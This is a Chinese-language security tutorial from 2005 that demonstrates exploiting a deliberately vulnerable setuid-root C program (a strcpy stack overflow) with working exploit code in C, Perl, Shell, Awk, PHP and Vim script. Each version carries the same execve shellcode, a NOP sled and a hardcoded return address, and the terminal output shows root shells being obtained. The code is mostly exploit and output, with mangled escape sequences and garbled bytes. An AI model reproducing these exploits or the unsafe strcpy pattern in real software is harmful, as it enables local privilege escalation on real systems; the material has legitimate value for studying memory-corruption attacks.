溢出利用程序和编程语言大杂烩

作者：watercloud  <watercloud _at_ nsfocus.com>
出处：http://www.nsfocus.net
日期：2005-04-04

溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写
溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。


<一>  有溢出漏洞的vul.c

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
   Have a bof vul at argv[1].
   Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char  * argv[])
{
        char buff[32];
        if(argc > 1)
        {
                strcpy(buff,argv[1]);
        }
        printf("buff : %s/n",buff);
        return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x    1 cloud    test      11627  2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x    1 root     test        11K  2月 24 10:14 vul



<二> C语言版本利用程序ex.c

[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
   Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1/xc0PPP[YZ4/xd0/xcd/x80"
          "j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
int main(int argc,char * argv[])
{
        char env_buff[4000];
        char cmd_buff[1024];
        int i,ret;
        unsigned int *pi;
        char * pc;

        for(i=0;i<3096;env_buff[i++]=0x90){ };
        env_buff[i]='/0';
        strcat(env_buff,SH);
        setenv("KK",env_buff,1);
        strcpy(cmd_buff,TARGET);
        pc=&cmd_buff[strlen(TARGET)];
        *pc++=' ';
        for(ret=1,i=0;i<4 && ret;i++)
        {
                int j;
                *pc++='A';
                pi=(unsigned int *)pc;
                for(j=0;j<20;*pi++=ADDR,j++){};
                *pi=0;
                ret=system(cmd_buff);
        }
        return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵&#65533;胯??
buff : AA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
&#65533;胯?胯??
buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<三> perl语言版本利用程序ex.pl

[cloud@test]$ cat ex.pl

#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
$ENV{KK}= "/x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
  $ret=system "./vul",$ag. "/xff/xbf/xe8/xf3"x20;  #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<四> Shell语言版本利用程序ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"/xff/xbf/xe8/xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`

for((i=0;i<4;i++)) ;do
  AA=$AA"A"
  if  ./vul $AA`echo -e $AD`
  then break
  fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : A&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
&#65533;胯?胯?
./ex.sh: line 16:  5287 段错误                  ./vul $AA`echo -e $AD`
buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<五> awk语言版本利用程序ex.awk

[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

BEGIN{
        SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
        AG="AA";
        for ( i=0;i<10;i++)
        {
                AG=AG""AG;
        }
        AG=AG""AG""AG #3096
        for(i=0;i<20;i++)
        {
                AD=AD"/xe8/xf3/xff/xbf"; #ADDR:0xbffff3e8
        }

        AA="AA"
        for(i=0;i<4;i++)
        {
          AA=AA"A"
          system("./vul "AA""AD" "AG""SH)
        }
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#


<六> PHP版本

[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x  1 root root 4895  2月 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
$AG="AA";
for( $i=0;$i<10;$i++){
        $AG.=$AG;
}
$AG.=$AG.$AG; #3096

for($i=0;$i<20;$i++) {
        $AD.="/xff/xbf/xe8/xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
  $AA.="A";
  print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$

<七> Vim扩展脚本版本
连vim编辑器的扩展编程脚本也可以拿来写溢出的说：


[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80"
let AG="AA"
let i=0
while(i<10)
        let AG=AG.AG
        let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096

let AD=""
let i=0
while(i<20)
        let AD=AD."/xff/xbf/xe8/xf3"
"ADDR:0xbffff3e8
        let i=i+1
endwhile

let AA=""
let i=0
while(i<4)
  let AA=AA."A"
  execute "!./vul ". AA . AD . AG . SH
  let i=i+1
endwhile
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x  1 root root 4895  2月 26 20:57 vul
[cloud@MagicLinux tmp]$ vim -eS ex.vim
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified


buff : A&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯&#65533;胯驛AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
……………………………………………………………………
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮PP[YZ4型&#65533;j
                                                                   X橰hn/shh//biT[RSTY蛝
sh-2.05b# id
uid=0(root) gid=502(cloud) groups=502(cloud)
sh-2.05b#


<八> ……




<九> 小语

   溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等
了解这些知识后溢出利用本生和编程语言是没有关系的。